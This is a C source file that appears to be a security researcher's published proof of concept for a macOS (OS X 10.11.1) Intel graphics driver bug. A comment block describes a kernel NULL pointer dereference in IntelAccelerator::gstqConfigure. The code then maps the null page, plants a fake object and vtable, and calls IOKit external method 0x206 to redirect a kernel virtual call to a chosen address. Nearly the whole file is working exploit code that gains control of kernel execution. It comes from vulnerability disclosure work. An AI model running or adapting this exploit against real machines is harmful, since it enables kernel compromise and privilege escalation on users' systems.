144 lines
No EOL
4 KiB
C
144 lines
No EOL
4 KiB
C
/*
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Source: https://code.google.com/p/google-security-research/issues/detail?id=595
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The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.
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In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
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calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling
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this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
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NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
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to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.
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Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
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*/
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// ianbeer
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/*
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Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure
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clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0
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The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.
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In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
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calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling
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this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
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NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
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to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.
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Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <mach/mach.h>
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#include <mach/vm_map.h>
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#include <sys/mman.h>
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#include <IOKit/IOKitLib.h>
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int main(int argc, char** argv){
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kern_return_t err;
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// re map the null page rw
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int var = 0;
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err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
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if (err != KERN_SUCCESS){
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printf("%x\n", err);
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}
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vm_address_t addr = 0;
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err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
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if (err != KERN_SUCCESS){
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if (err == KERN_INVALID_ADDRESS){
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printf("invalid address\n");
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}
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if (err == KERN_NO_SPACE){
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printf("no space\n");
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}
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printf("%x\n", err);
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}
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char* np = 0;
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for (int i = 0; i < 0x1000; i++){
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np[i] = 'A';
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}
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CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
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if(!matching){
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printf("unable to create service matching dictionary\n");
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return 0;
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}
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io_iterator_t iterator;
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err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
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if (err != KERN_SUCCESS){
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printf("no matches\n");
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return 0;
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}
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io_service_t service = IOIteratorNext(iterator);
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if (service == IO_OBJECT_NULL){
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printf("unable to find service\n");
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return 0;
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}
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printf("got service: %x\n", service);
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io_connect_t conn = MACH_PORT_NULL;
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err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
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if (err != KERN_SUCCESS){
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printf("unable to get user client connection\n");
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return 0;
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}
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printf("got userclient connection: %x\n", conn);
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uint64_t* obj_ptr = malloc(0x1000);
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uint64_t* obj = malloc(0x1000);
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uint64_t* vtable = malloc(0x1000);
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uint64_t kernel_rip = 0xffff800041414141;
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vtable[0x70/8] = kernel_rip;
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*obj = (uint64_t)vtable;
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*obj_ptr = (uint64_t)obj;
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*((uint64_t*)0x28) = (uint64_t)obj_ptr;
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uint64_t inputScalar[16];
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uint64_t inputScalarCnt = 0;
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char inputStruct[4096];
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size_t inputStructCnt = 0;
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uint64_t outputScalar[16];
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uint32_t outputScalarCnt = 0;
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char outputStruct[4096];
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size_t outputStructCnt = 0;
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inputScalarCnt = 0;
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inputStructCnt = 0;
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outputScalarCnt = 0;
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outputStructCnt = 0;
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inputStructCnt = 0x1000;
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err = IOConnectCallMethod(
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conn,
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0x206,
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inputScalar,
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inputScalarCnt,
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inputStruct,
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inputStructCnt,
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outputScalar,
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&outputScalarCnt,
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outputStruct,
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&outputStructCnt);
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if (err != KERN_SUCCESS){
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printf("IOConnectCall error: %x\n", err);
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return 0;
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}
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} |